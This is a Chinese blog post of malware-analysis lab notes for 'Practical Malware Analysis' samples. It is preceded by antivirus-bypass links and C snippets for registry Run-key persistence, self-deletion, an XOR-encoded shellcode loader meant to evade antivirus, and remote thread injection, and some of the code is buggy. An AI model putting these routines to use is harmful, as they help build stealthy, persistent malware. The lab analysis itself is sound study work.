《恶意代码分析实战lab》 本文章用来记录本书的lab分析过程,对于书上的问题都是选择来分析,有些lab是重复的,所以前面的一些lab可能只会部分分析,然后到后面来具体分析。
文章 免杀
https://www.const27.com/2021/09/03/%E5%9F%BA%E7%A1%80%E5%85%8D%E6%9D%80%E6%89%8B%E6%B3%95%E6%9A%B4%E9%A3%8E%E5%90%B8%E5%85%A5/
https://saucer-man.com/operation_and_maintenance/465.html
https://paper.seebug.org/1413/#_5
https://github.com/TideSec/BypassAntiVirus
https://www.yuque.com/tidesec/bypassav/309d7b24dfc5880d2b3fa78813ea72ea
https://github.com/Airboi/bypass-av-note
常用代码 修改注册表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include <stdio.h> #include <windows.h> char szSubKey[] = {0x57 ,0x4b ,0x42 ,0x50 ,0x53 ,0x45 ,0x56 ,0x41 ,0x58 ,0x49 ,0x6d ,0x67 ,0x76 ,0x6b ,0x77 ,0x6b ,0x62 ,0x70 ,0x58 ,0x53 ,0x6d ,0x6a ,0x60 ,0x6b ,0x73 ,0x77 ,0x58 ,0x47 ,0x71 ,0x76 ,0x76 ,0x61 ,0x6a ,0x70 ,0x52 ,0x61 ,0x76 ,0x77 ,0x6d ,0x6b ,0x6a ,0x58 ,0x56 ,0x71 ,0x6a };void Regkey1 () { int i; for (i=0 ;i<strlen (szSubKey);i++) { szSubKey[i]=szSubKey[i]^4 ; } CHAR* path=NULL ; HKEY hkey; path = (CHAR*)LocalAlloc(0x40 u, 0x40 u); GetModuleFileNameA(0 , path, 0x40 u); RegOpenKeyExA(HKEY_CURRENT_USER, szSubKey, 0 , KEY_ALL_ACCESS, &hkey); RegSetValueEx(hkey, "MyStart" , 0 , REG_SZ, (const BYTE *)path, strlen (path)); RegCloseKey(hkey); } int main () { Regkey1(); printf ("yes" ); }
遍历文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <iostream> #include <cstring> #include <windows.h> #include <string.h> void listFiles (const char * dir) ;int main () { char dir[100 ]="D:\\a" ; listFiles(dir); return 0 ; } void listFiles (const char * dir) { HANDLE hFind; WIN32_FIND_DATA findData; LARGE_INTEGER size; char dirNew[100 ]; strcpy (dirNew, dir); strcat (dirNew, "\\*.*" ); hFind = FindFirstFile(dirNew, &findData); do { if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (strcmp (findData.cFileName,"." )!=0 && strcmp (findData.cFileName, ".." )!=0 ) { char dirNew1[100 ]; strcpy (dirNew1, dir); strcat (dirNew1, "\\" ); strcat (dirNew1, findData.cFileName); listFiles(dirNew1); } } else { if (strcpy (findData.cFileName,"test1.exe" )) { printf ("%s\n" ,dirNew); Sleep(100 ); } } } while (FindNextFile(hFind, &findData)); FindClose(hFind); }
自删除代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <Windows.h> int main () { CHAR Filename[260 ]; CHAR Parameters[260 ]; GetModuleFileNameA(0 , Filename, 0x104 u); GetShortPathNameA(Filename, Filename, 0x104 u); printf ("%s" , Filename); strcpy (Parameters, "/c del " ); strcat (Parameters, Filename); strcat (Parameters, " >> NUL" ); ShellExecuteA(0 , 0 , "cmd.exe" , Parameters, 0 , 0 ); exit (0 ); }
shellcode简单免杀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include <stdio.h> #include <windows.h> typedef void (_stdcall* CODE) () ;unsigned char s[]="" ;int main (void ) { char key[]="this_is_a_key" ; unsigned char buf[798 ]; int i,j=0 ; PVOID p; for (i=0 ;i<1596 ;i++) { if (i%2 ==0 ) { buf[j]=s[i]; j++; } } for (i=0 ;i<798 ;i++) { buf[i]=buf[i]^key[i%strlen (key)]; printf ("\\x%x" ,buf[i]); } p = VirtualAlloc(0 , 798 , MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy (p, buf, 798 ); CODE code = (CODE)p; code(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 shellcode="" key="this_is_a_key" key2="hello" s='' for i in range (len (shellcode)): s += chr (ord (shellcode[i])^ord (key[i%len (key)])) s += key[(i+3 )%len (key2)] print(len (s)) for i in range (len (s)): print("\\x%x" %ord (s[i]),end='' )
远端注入shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #include <iostream> #include <Windows.h> int main () { unsigned char buf[] = "" ; int i; for (i=0 ;i<798 ;i++) { buf[i]=buf[i]^15 ; } DWORD pid = 2932 ; HANDLE Proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!Proc) { std ::cout << GetLastError() << std ::endl ; } LPVOID buffer = VirtualAllocEx(Proc, NULL , sizeof (buf), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if (buffer) { std ::cout << GetLastError() << std ::endl ; } if (WriteProcessMemory(Proc, buffer, buf, sizeof (buf), 0 ) ){ std ::cout << GetLastError() << std ::endl ; } HANDLE remotethread = CreateRemoteThread(Proc, NULL , 0 , (LPTHREAD_START_ROUTINE)buffer, 0 , 0 , 0 ); }
寻找exe中的资源,图片或者其他二进制文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <Windows.h> int main () { HMODULE hModule; HRSRC hResInfo; HGLOBAL hResData; DWORD dwSize; LPVOID adr; void *Src; hModule = GetModuleHandleA(0 ); FindResourceA(hModule, "LOCALIZATION" , "UNICODE" ); hResData = LoadResource(hModule, hResInfo); printf ("yes" ); if ( hResData ) { printf ("yes1" ); Src = LockResource(hResData); if ( Src ) { printf ("yes2" ); dwSize = SizeofResource(hModule, hResInfo); if ( dwSize ) { printf ("yes3" ); adr = VirtualAlloc(0 , dwSize, 0x1000 u, 4u ); if (adr) { memcpy (adr, Src, dwSize); printf ("yes4" ); } } } } system("pause" ); }
判断是否网络连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <windows.h> #include <wininet.h> #pragma comment(lib, "Wininet.lib" ) int main () { BOOL flag; flag = InternetGetConnectedState(0 , 0 ); if (flag) { printf ("Success: Internet Connection" ); } else { printf ("Error 1.1: No Internet" ); } system("pause" ); }
Lab01 Lab01-01 后面会再次分析这个lab,所以这次只简单做过判断。
任务:分析lab01-01.dll,和lab01-01.exe。
看看利用petool查看编译时间,主要是用用这个工具。 然后用Eexinfo PE来看看,发现没有加壳。
ida看看,可以看到对lab01-01.dll,和C:\windows\system32\kernel32.dll进行了操作。 然后向下看看
1 2 3 4 if ( !CopyFileA(ExistingFileName, NewFileName, 0 ) ) exit (0 ); sub_4011E0(aC, 0 );
可以看到将lab01-01.dll复制到了C:\windows\system32\kerne132.dll,注意是kerne132.dll不是kernel32.dll。然后进行了sub_4011E0。
来看看sub_4011E0函数,可以看出就是常用的递归遍历c盘的所有文件。 基本代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <iostream> #include <cstring> #include <windows.h> #include <string.h> void listFiles (const char * dir) ;int main () { char dir[100 ]="D:\\a" ; listFiles(dir); return 0 ; } void listFiles (const char * dir) { HANDLE hFind; WIN32_FIND_DATA findData; LARGE_INTEGER size; char dirNew[100 ]; strcpy (dirNew, dir); strcat (dirNew, "\\*.*" ); hFind = FindFirstFile(dirNew, &findData); do { if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { if (strcmp (findData.cFileName,"." )!=0 && strcmp (findData.cFileName, ".." )!=0 ) { char dirNew1[100 ]; strcpy (dirNew1, dir); strcat (dirNew1, "\\" ); strcat (dirNew1, findData.cFileName); listFiles(dirNew1); } } else { if (strcpy (findData.cFileName,"test1.exe" )) { printf ("%s\n" ,dirNew); Sleep(100 ); } } } while (FindNextFile(hFind, &findData)); FindClose(hFind); }
然后进入sub_4010A0,可以看出用CreateFileMappingA映射了找到的exe文件,并匹配kernel32.dll字符串,修改为kerne132.dll。
分析lab01-01.dll
可以看到,创建了互斥体来保证只会有一个进程来运行这个dll,还有网络进程通信,和连接ip,默认80端口,seed发送信息,CreateProcessA创建进程等操作,估计是个后门函数。
Lab01-02 一个加壳程序,upx -d脱壳后,会发现StartServiceCtrlDispatcherA()函数,将服务进程的主线程连接到服务控制管理器,我们来看看ServiceMain函数。
所以这个程序就是创建了一个服务,然后访问了http://www.malwareanalysisbook.com这个网站,可以通过监视网络流量检查被恶意代码感染的主机。
Lab01-03 peid打开发现有FSG壳,还没见过这个壳,虽然会手动脱壳,还是跟着书来,后面再来分析这个吧。
Lab01-04 这个样本就挺有意思的,书上是在Lab1简单讲了一下,在Lab12中更细致的分析了,可以从中学到很多知识,现在从头到尾来分析下这个恶意代码。
先来看看main函数 然后我们来看看这个程序遍历PID干嘛,sub_401000()函数。 为什么需要找到winlogon.exe这个进程的PID呢,下一个函数就会告诉。
现在来看sub_401174()函数,刚开始看并不懂里面的意思,只知道是向winlogon.exe远端注入了一个线程函数,后来看了书才彻底明白。 接下来估计也就会去修改文件了,来到sub_4011FC()。 到这里,本exe流程就分析完了,接下来分析exe中的pe文件,看看究竟写入了什么东西,用Resource_Hacker dump出该pe分析。 有空,打算照着写写远端注入winlogon.exe的代码。
Lab03 本章一些工具的使用方法:https://zhuanlan.zhihu.com/p/24923630
Lab03-01 这个样本就是用来使用熟悉一些工具的使用的。
样本应该被加了壳。 先看看字符串。
先用process monitor看看,过滤writefile,和regsetvalue。 可以看到修改了注册表,并且向c:windows\system32\vmx32to64.exe写入了文件。
然后用md5deep.exe,去看两个文件是否一样。 可以看到是一样的,所以可以判断该程序将自己复制到了c:windows\system32\vmx32to64.exe。 继续用Process Explorer 创建了互斥锁,可能调用了一些联网函数。
然后用ApateDNS 以查看恶意软件是否执行了任何 DNS 请求。先配网络https://www.cnblogs.com/ha2ha2/p/9563016.html ,windows xp没下载到合适的ApateDNS,然后用windows 10 来弄,发现并没有出现书上的内容,后面再来搞。
然后用nc监听常用80和443端口,也没出现书中内容。。。只不过还是学到了很多东西。
Lab03-02.dll 利用pe view或studype+看导出函数,用ida查看可以发现这个dll的导出函数Install安装了服务,并且有修改了注册表的操作。 我们来用Regshot记录快照,然后对比。拍摄好第一个快照后,执行命令来安装恶意dll
C:\>rundll32.exe Lab03-02.dll,installA
然后拍摄第二个快照。 然后用下面命令来启动服务。
C:\>net start IPRIP
利用Process Explorer查看svchost.exe进程 接下来就是网络分析了,我们在字符串中可以看到HTTP/1.1,所以很大可能是有联网过程的。
ApateDNS,配环境中。
Lab03-03 这个样本比较有意思,利用了pe映像切换技术,《逆向工程核心原理》有详细例子,最近也是上课看书,偶然看到这部分,书上的例子确实比较好。
我们首先来康康什么是pe映像。
我们都知道创建一个进程时,操作系统会为该进程分配一个 4GB 大小的虚拟 进程地址空间。pe映像就是pe文件在进程内存中的映射形态。 并且pe文件和pe映像在形态上也不会是完全相同的,会有一些差别,如下。
那么什么是pe映像切换呢,简单来说,假设现在有A,B,setup三个exe文件,我们会使用setup.exe来创建A进程,按道理本该执行A进程,但是却使用pe映像切换技术来达到运行B进程的目的。
下面来大概总结其步骤,是setup.exe的代码步骤。
将B.exe这个文件存放到开辟的某个内存空间,利用createfile,VirtualAlloc函数,或者其他类似作用的函数。
以挂起模式创建A进程。
利用GetThreadContext函数获得A进程的主线程的上下文结构,得到CONTEXT.Eax,ReadProcessMemory函数读取PEB.image,也就是A进程的image base和EP。
调用NtUnmapViewOfSection函数卸载A进程的pe映像,防止将B.exe文件映射到该地址时发生冲突(实际上,若image base不相同,可以不卸载)。
利用VirtualAllocEx函数在A进程中以B进程的image base地址申请其size of image大小的空间。
映射pe文件头
for循环映射pe节区
调用WriteProcessMemory将A进程的PEB.imagebase修改为B进程的image base。
将EP(CONTEXT.Eax)修改为B.exe的EP。
调用ResumeThread,恢复运行A进程,但是实际上运行的是B进程。
在看完本lab和《逆向工程核心原理》中的例子后,产生了两个问题
上面的步骤中,修改image base这一操作的先后顺序是否有影响呢?我认为是没有影响的,因为无论哪种方式,都可以达到在A进程中为B进程的PE映像分配了内存空间,并且将A进程的PEB.imagebase修改为B进程的image base的目的。
为什么对于映射pe文件头,映射pe节区需要分开来?其实也很简单,答案就在上面的图片中,pe文件和pe映像在形态上不会是完全相同的。 到这里,pe映像切换的原理差不多就讲完了,感兴趣可以去看看书中的详细讲解,下面来分析恶意样本,与书中例子有小差别,但大体原理一致。
先看看行为吧,可以看到创建了一个进程,并且退出了。
查壳,无壳,先拖进ida静态分析分析。
main函数 sub_40132C函数 我们后面在来解密这个文件,并分析它。
sub_4010EA函数,这个函数的参数有两个,一个是C:\Windows\System32\svchost.exe,用来创建进程,一个是申请的空间地址,保存着解密后的资源文件。 利用resource hacker dmup出资源文件,然后解密,现在来分析解密后的资源文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <math.h> int main (void ) { FILE *p; char v[0x5FE0 ]={0 }; int i; p=fopen("abc.bin" ,"rb" ); fread(&v, 1 , 0x5FE0 , p); for (i=0 ;i<0x5FE0 ;i++) { v[i]=v[i]^65 ; } FILE *p1 = fopen("def.bin" , "wb" ); fwrite(&v, 1 , 0x5FE0 , p1); }
先看main函数
fn函数 sub_4010C7函数 效果如下
Lab03-04 一个自删除的程序,并且会按照main参数来执行相关代码,按照书上的流程,第9章在具体分析。
自删除代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <Windows.h> int main () { CHAR Filename[260 ]; CHAR Parameters[260 ]; GetModuleFileNameA(0 , Filename, 0x104 u); GetShortPathNameA(Filename, Filename, 0x104 u); printf ("%s" , Filename); strcpy (Parameters, "/c del " ); strcat (Parameters, Filename); strcat (Parameters, " >> NUL" ); ShellExecuteA(0 , 0 , "cmd.exe" , Parameters, 0 , 0 ); exit (0 ); }
Lab05 Lab05-01.dll && Lab05-01.py 一些ida的快捷键使用,以及简单idapython的使用,跳过。
Lab06 Lab06-01.exe 一个简单的判断是否有网络连接的程序。
可以看到使用了InternetGetConnectedState这个函数
1 2 3 4 5 6 BOOL InternetGetConnectedState ( LPDWORD lpdwFlags, DWORD dwReserved ) ;
在看看程序内部
代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <windows.h> #include <wininet.h> #pragma comment(lib, "Wininet.lib" ) int main () { BOOL flag; flag = InternetGetConnectedState(0 , 0 ); if (flag) { printf ("Success: Internet Connection" ); } else { printf ("Error 1.1: No Internet" ); } system("pause" ); }
Lab06-02.exe 一个读取指定url指定的资源,然后比较前几个字符串。
用StudyPE打开,还是winnet.dll里面的一些网络相关的函数。
ida打开分析
前面一个函数就是上面的lab。
主要看sub_401040函数 所以其实也没干什么,可能主要代码还在后面。
Lab06-03.exe 继续在上面的lab,加了一个函数,添加了一些功能。
来看看sub_401130函数
Lab06-04.exe 加了一个循环,实际上switch中怎么操作 都是由那个html文件的字符来定的,类似小型虚拟机,但switch的操作也就那几种。
Lab07 Lab07-01.exe 和Lab01-02脱壳后一模一样,不再分析。
Lab07-02.exe 这个样本是书中组件对象模型(COM)的知识点,下面先看看几个函数
OleInitialize
在当前单元上初始化 COM 库
CoCreateInstance 函数
创建并默认初始化与指定 CLSID 关联的类的单个对象。
HRESULT CoCreateInstance(
REFCLSID rclsid,
LPUNKNOWN pUnkOuter,
DWORD dwClsContext,
REFIID riid,
LPVOID *ppv
);
rclsid
与将用于创建对象的数据和代码关联的 CLSID。
pUnkOuter
如果为NULL,则表示该对象不是作为聚合的一部分创建的。如果非NULL,则指向聚合对象的IUnknown接口(控制IUnknown)。
dwClsContext
管理新创建对象的代码将在其中运行的上下文。这些值取自枚举CLSCTX。
riid
对用于与对象通信的接口标识符的引用。
ppv
接收riid 中请求的接口指针的指针变量的地址。成功返回后, * ppv包含请求的接口指针。失败时, * ppv包含NULL。
重要的就是rclsid和riid,我们可以通过这个 来确定他要调用什么程序,什么接口。如何去查找这两个东西,clsid ,riid ,也就是直接去注册表中搜索,然后这个函数会返回一个COM对象,保存在ppv,可以通过这个对象,来执行一些函数。
现在我们来分析下程序 可以看到ppv+0x2c,实际上IWebBrowser2接口的偏移0x2c就是Navigate函数,https://docs.microsoft.com/en-us/previous-versions//aa752133(v=vs.85)?redirectedfrom=MSDN ,也就是用Internet Explorer来访问那个网址。
这个程序 就和文档中的代码类似
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 if (SUCCEEDED(OleInitialize(NULL ))){ IWebBrowser2* pBrowser2; CoCreateInstance(CLSID_InternetExplorer, NULL , CLSCTX_LOCAL_SERVER, IID_IWebBrowser2, (void **)&pBrowser2); if (pBrowser2) { VARIANT vEmpty; VariantInit(&vEmpty); BSTR bstrURL = SysAllocString(L"http://microsoft.com" ); HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty, &vEmpty, &vEmpty); if (SUCCEEDED(hr)) { pBrowser2->put_Visible(VARIANT_TRUE); } else { pBrowser2->Quit(); } SysFreeString(bstrURL); pBrowser2->Release(); } OleUninitialize(); }
Lab07-03.exe 这个程序和dll配套使用,实际上就是Lab01-01分析的那个程序,实际上 我当时已经分析了很大一部分了,接下来就分析一下没被分析到的部分。样本修改system32中文件的操作在windows10已经不适用了,因为有了文件保护,不允许随便写入。
首先是为什么字符串中有kerne132.dll 和kernel32.dll,而且Lab07-03.dll这个dll文件只有main函数,没有导出函数,这就意味着其他exe无法导入这个dll的函数。
在CopyFileA的上面我们看到对kernel32.dll,Lab07-03.dll这两个文件进行操作,并且生成了kerne132.dll ,看到这两个名称我们就可以猜测,我们利用Lab07-03.dll,和很多乱七八糟的操作将system32下的kernel32.dll进行了一些修改,生成了这个kerne132.dll ,对于那部分乱七八糟的代码,其实可以不用太关心,也比较难看,只不过可以大概看出是对pe结构进行了一些操作,之后我将程序的参数设置为WARNING_THIS_WILL_DESTROY_YOUR_MACHINE,进行动调来验证这个猜想,在执行完CopyFileA后,我将C:\windows\system32\kerne132.dll 这个新文件,用ida打开看了看。 所以前面这一部分就是生成一个kerne132.dll 伪装成原来的kernel32.dll,这样操作有什么用呢,看后面的代码就可以知道了。
后面部分在lab1中说过,遍历了所有exe文件,然后修改了exe中的kernel32.dll变为kerne132.dll ,所以其实就是在让这些exe加载kerne132.dll 这个dll,从而执行恶意dll的内容,这种操作还是比较经典的,如何找到一个pe文件的dll名称,并修改他,下面就用pe的知识点,来写一写。
下面这种方式是用的RAW,因为没有在内存中,如果是在内存中,就要使用RVA。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #include <stdio.h> #include <windows.h> int main () { LARGE_INTEGER liFileSize; DWORD dwReadedSize; DWORD dwRVA,pianyi; HANDLE hFile = CreateFileA("C:\\Users\\hp\\Desktop\\test\\calc.exe" , GENERIC_READ, FILE_SHARE_READ, NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); BYTE* baseaddr; PBYTE pAddr; PIMAGE_IMPORT_DESCRIPTOR pImportDesc; LPCSTR szLibName; if (hFile == INVALID_HANDLE_VALUE) { printf ("CreateFileA error %d" , GetLastError()); } GetFileSizeEx(hFile, &liFileSize); baseaddr = (BYTE*)malloc (liFileSize.QuadPart); ReadFile(hFile, baseaddr, liFileSize.QuadPart, &dwReadedSize, NULL ); pAddr = (PBYTE)baseaddr; pAddr += *((DWORD*)&pAddr[0x3C ]); dwRVA= *((DWORD*)&pAddr[0x80 ]); pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)baseaddr + dwRVA+ 0x400 -0x1000 ); for (; pImportDesc->Name; pImportDesc++) { printf ("\n%x " , pImportDesc); szLibName = (LPCSTR)((DWORD)baseaddr + pImportDesc->Name + 0x400 - 0x1000 ); printf ("%s" , szLibName); } }
所以,exe中的内容就是先修改了C:\windows\system32\kernel32.dll为C:\windows\system32\kerne132.dll ,然后将c盘下的exe文件的kernel32.dll改为kerne132.dll ,从而达到感染这些exe的目的,如果再次启动这些exe,就会载入kerne132.dll 这个恶意dll,从而造成危害。
接下来就只剩下分析恶意dll了。 可以看到就是向一个远程机器发送了一些命令,并且接收了一些东西,关键就在于那个CreateProcess函数,究竟创建了什么进程,这点在ida里面并不能直接找到,来看下一张图片。 所以创建什么进程,实际上是由那个远程机器返回的内容决定的。
到这里这两个文件,差不多就分析完了。
Lab09 这个Lab主要考察动调。
Lab09-01 这个exe需要分析的点有点多。之前也提到了,这个程序需要一些参数才能让其执行一些函数。
我们直接在虚拟机执行一次会发现直接就退出了,并且删除了自身。
来看看main函数 然后来看sub_401000函数,我们将其命名为checkReg。
可以看到这个函数实际上就是检查注册表是否有相关值,没有就会返回1,从而进行delete()函数。
然后下面的sub_402360函数,里面也有个检查注册表的值的过程,一开始肯定是没有的,所以肯定不会发生什么。
接下来,我们发现这个程序会使用到一些参数来执行不同的过程,参数分为-in,-re,-c,-cc,并且还有一个密码检查函数。
我们先来传入-in这个参数,但是我们会发现,会在sub_402510出错,这个函数其实就是个密码检查函数,传入的是最后的一个参数,比如说 Lab09-01.exe -in 1234 传入这个函数的就是1234。
这里提供两个方式来绕过这个密码检查
第一种直接修改这个函数,让他永远返回1
第二种是分析这个函数,得到密码。